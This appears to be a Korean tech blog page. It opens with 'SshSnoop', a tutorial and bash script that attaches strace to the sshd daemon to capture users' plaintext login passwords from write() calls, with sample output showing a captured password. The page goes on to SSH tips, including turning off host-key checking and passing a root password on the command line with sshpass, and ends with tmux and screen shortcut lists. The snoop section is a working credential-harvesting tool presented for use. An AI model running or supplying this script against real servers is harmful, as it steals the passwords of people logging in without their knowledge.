Monday, May 2, 2016

SshSnoop

SSH SNOOP 개요


목적

SSH Protocol 을 사용하는 Client & Server 간의 통신시 Client 의 Login 시 사용자의 복호화된 패스워드를 최소한의 노력으로 엿보려고 한다.

방법

SSH 데몬의 system call 추적을 통한 암호 탐지

  1. System call 추적후 패스워드는 암호화 되어 있을 가능성도 있다.
  2. 하지만 대부분 WAN 구간에서 암호화 통신시 Data의 수신후 선수행 부분은 암호화된 Data의 복호화 일 것으로 예상 된다.
  3. 또한 SSH Protocol 사용시 서버로 송신하는 Login 암호를 Server 의 salt key로 crypt() 하지 않을 것으로 예상 된다.
  4. [수신된 DATA 의 복호화] -> [crypt()후 shadow 비교] 의 과정으로 예상하여 나는 system call 추적을 해보도록 하겠다.

Strace 개요


strace 란?

  • 프로그램이 실행 되는 동안 호출하는 시스템콜의 추적
  • 프로그램이 실행되는 동안 받는 signal 에 대한 정보 추적

strace 사용법

syscall 에 대한 통계(time, calls, syscall …) 보기

$ strace -f -c -p 31337

% time     seconds  usecs/call     calls    errors syscall
------ ----------- ----------- --------- --------- ----------------
 42.86    0.000012           0        48           close
 32.14    0.000009           0        42           recvmsg
 25.00    0.000007           0        22           fstat
.
------ ----------- ----------- --------- --------- ----------------
100.00    0.000028                   745        21 total

syscall 에 대한 소요 시간([시간]…<소요시간>) 보기

$ strace -tt -T -p 31337

16:02:02.636274 alarm(6000)             = 5999 <0.000038>
16:02:02.636452 epoll_wait(8, {{EPOLLIN, {u32=6, u64=6}}}, 100, 43000) = 1 <2.911735>
.

syscall 추적 예제

$ vi sleep.c

#include <stdio.h>
#include <unistd.h>

int main() {
    sleep(1);
    printf("sleep(1)\n");
    sleep(2);
    printf("sleep(2)\n");
    return(0);
}

$ gcc -o sleep sleep.c
$ strace -tt -T -etrace=nanosleep ./sleep

16:16:47.763460 nanosleep({1, 0}, 0x7fffbd6f6bd0) = 0 <1.000305>
sleep(1)
16:16:48.764272 nanosleep({2, 0}, 0x7fffbd6f6bd0) = 0 <2.000262>
sleep(2)

설명

  1. sleep() 은 내부적으로 nanosleep() syscall 을 호출한다.
  2. -tt 옵션으로 타임을 맨앞에 출력 -T 옵션으로 소요 시간을 맨뒤에 출력 한다.
  3. -etrace 옵션으로 해당 syscall만 필터링 한다.

Strace를 이용한 SSH SNOOP 구현


sshd의 시작점(PPID) 찾기

sshd 데몬의 부모 프로세스(PPID) 찾기

$ pidof sshd | awk ‘{print $NF}’
.
[OR]
.
$ pgrep -o sshd

패스워드를 운반하는 syscall 찾기

일단 sshd의 syscall 확인 결과 패스워드의 snoop 이 가능함을 확인 하였다.
패스워드 운반에 사용되는 syscall 은 write() 이다.
아래의 과정으로 ssh login password 를 가로채는 것을 확인 할 수 있었다.

$ useradd victim
$ echo "MyPasswordIs1234" | passwd victim --stdin
$ strace -f -etrace=write -s 64 -p $(pgrep -o sshd)

.
[pid  8281] write(4, "\0\0\0\20MyPasswordIs1234", 20) = 20

설명

  1. 사용자 victim 을 추가한다.
  2. 사용자 victim 의 패스워드를 MyPasswordIs1234 로 설정한다.
  3. 인증부분은 child process 에서 행하기 때문에 -f 옵션으로 child process도 감시한다.
  4. -etrace=write 옵션으로 write call 만 감시한다.
  5. 출력 문자열의 길이를 64로 늘린다.(기본 32)
  6. -p 옵션으로 sshd 의 부모 프로세스를 감시한다.

SSH SNOOP(Login Password Snoop) 필터링 구현

strace 를 이용한 SSHP SNOOP 프로그램 구현(sshsnoop.sh)

$ vi sshsnoop.sh

#! /bin/env bash
#
# Cheap technique. :)
#
#

SNOOP_ID=$1
SSHD_PPID=$(pgrep -o sshd)
MATCH_ID=
MATCH_PID=
MATCH_ID_PID=

FIND_PASSWD=0
PASSWD_NEXT=15

FILTER_PASSWD_LEN_MIN=40
FILTER_PASSWD_LEN_MAX=80

SCOPE=10
SCOPE_MIN=
SCOPE_MAX=
LOOP_COUNT=0
((SCOPE_MIN=PASSWD_NEXT-SCOPE))
((SCOPE_MAX=PASSWD_NEXT+SCOPE))

if [ -z $SNOOP_ID ]; then
    echo $"Usage: $0 {snoopid}" 
    exit 0
fi

strace -f -etrace=write -s 64 -p $SSHD_PPID 2>&1 | while read SSH
do

    if [ $LOOP_COUNT -ge $SCOPE_MIN -a $LOOP_COUNT -le $SCOPE_MAX ]; then
        MATCH_PID=$(echo $SSH 2>&1 | grep $MATCH_ID_PID | grep -v ssh-connection)
        if [ -n "$MATCH_PID" -a ${#SSH} -lt $FILTER_PASSWD_LEN_MAX -a ${#SSH} -gt $FILTER_PASSWD_LEN_MIN ]; then
            echo "MAY BE PASSWORD >>> $SSH"
        fi
    fi

    if [ $LOOP_COUNT -eq $SCOPE_MAX ]; then
        LOOP_COUNT=0
        FIND_PASSWD=0
        MATCH_ID=
    fi

    if [ $FIND_PASSWD -gt "0" ]; then
        ((FIND_PASSWD++))
        ((LOOP_COUNT++))
        continue
    fi
    MATCH_ID=$(echo $SSH 2>&1 | grep $SNOOP_ID\")
    if [ -n "$MATCH_ID" ]; then
        echo "MAY BE USERID   >>> $SSH"
        MATCH_ID_PID=${SSH%%]*}
        MATCH_ID_PID=${MATCH_ID_PID#[pid}
        FIND_PASSWD=1
    fi
done

sshsnoop.sh 실행 결과

$ sh sshsnoop.sh victim

MAY BE USERID   >>> [pid  8949] write(4, "0006victim", 10) = 10
MAY BE PASSWORD >>> [pid  8949] write(4, "00020MyPasswordIs1234", 20) = 20
MAY BE PASSWORD >>> [pid  8949] write(4, "0002000000"3650000000J", 20) = 20


Ssh

ssh key 로그인


[Client] ssh-keygen 으로 key 생성하기(dsa|rsa)

$ ssh-keygen -t rsa -f ~/.ssh/example_rsa

.
Enter passphrase (empty for no passphrase):  [Enter]
Enter same passphrase again: [Enter]

[Client] key 생성 확인

$ ls -al ~/.ssh/example_rsa*

-rw------- 1 root root 668 2013-03-19 16:03 example_rsa
-rw-r--r-- 1 root root 604 2013-03-19 16:03 example_rsa.pub

[Client] key 등록

$ vi ~/.ssh/config

IdentityFile     ~/.ssh/example_rsa

$ chmod 644 ~/.ssh/config

[Client->Server] key 복사(Server로)

$ scp ~/.ssh/example_rsa.pub root@example.com:~/.ssh/authorized_keys
$ ssh root@example.com "chmod 700 ~/.ssh"
$ ssh root@example.com "chmod 644 ~/.ssh/authorized_keys"

[Client->Server] key 로그인 확인

$ ssh root@example.com

Last login: Tue Mar 19 16:32:21 2013 from 10.10.10.11
[root@example ~]# 

ssh 파일 전송


scp(Upload)

$ scp -r /home root@example.com:/home/

scp(Download)

$ scp -r root@example.com:/home /home/

ssh(Upload)

$ tar cp /home | ssh root@example.com "tar xvp -C /home/"

ssh(Download)

$ ssh root@example.com "tar cp /home" | tar xvp -C /home/

ssh 호스트키 체크 비활성화


$ ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -o LogLevel=quiet root@example.com

UserKnownHostsFile=/dev/null
known_hosts 파일을 남기지 않도록 설정

StrictHostKeyChecking=no
host key check 를 하지 않도록 설정

LogLevel=quiet
경고 메시지 출력 되지 않도록 설정(Warning: Permanently added…)

sshpass 를 이용한 패스워드 입력 자동화


sshpass 설치
$ yum install sshpass

sshpass 실행
$ sshpass -pPASSWORD ssh root@example.com id

uid=0(root) gid=0(root) groups=0(root)

기타


한줄로

config 생성
$ echo "IdentityFile ~/.ssh/example_rsa" >> ~/.ssh/config

authorized_keys 생성
$ read skey < ~/.ssh/example_rsa.pub; ssh root@example.com "mkdir ~/.ssh;echo $skey >> ~/.ssh/authorized_keys"



Tmux

기본 사용법


new session

$ tmux new -s [session_name]

detach

CTRL + b + d

session list

$ tmux ls

attach

$ tmux attach -t [session_name]

new window

CTRL + b + c

kill window

CTRL + d

kill session

$ tmux kill-session -t [session_name]

move window

CTRL + b + [0-9]
CTRL + b + n | p | l | f
CTRL + b + w

move cursor

CTRL + b + [

view keys

CTRL + b + ?



Screen

실행 옵션


새로운 세션을 연다.

$ screen -S [session_name]

detach 해논 세션으로 접속 한다.

$ screen -r [session_name]

screen SockDir 리스트 출력

$ screen -list

실행후 옵션


상태표시

CTRL + a w

 * : 현재 있는 창에 표시된다.
 - : 처음 시작된 창에 표시된다. (0번이겠지~)

기본사용

CTRL + a d
detach mode 데몬식으로 띠워두고 빠져나온다!

CTRL + a w
현재 스크린의 창수와 현재 있는 창의 위치 표시!

CTRL + a c
새창을 띄운다.

CTRL + a a
바로 전 창으로 이동

CTRL + a [number]
지정한 번호의 창으로 이동

CTRL + a "
모든 윈도우를 선택 할 수 있도록 표시한다.

CTRL + a A
현재창의 제목을 변경

창나누기

CTRL + a S
창을 두개로 나눈다. (s는 대문자다. 즉 Shift +s 이다.)

CTRL + a TAB
갈라진 두창간의 이동 (이동후 새창이 이미 있다면 이동한 프레임에 그창을 띄울수 있다. CTRL +a [number] 이렇게.. )

CTRL + a x
한창 삭제

CTRL + a c
나누어진 창에 터미날을 띠운다. (그 이전에는 터미날은 뜨지 않고 창만 나눠질 뿐이다. )

CTRL + a [number]
지정한 번호의 창을 현재 커서창에 띄운다.
만일 두개를 나누었고 밑에 새창이 있는데 밑의 창 번호를 지정하면 아래와 위가 동일한 반응을 할것이다.

CTRL + Q
다 나가고 하나만 긴다.

CTRL + a + :resize min
현재장의 높이를 최소 사이즈로 한다.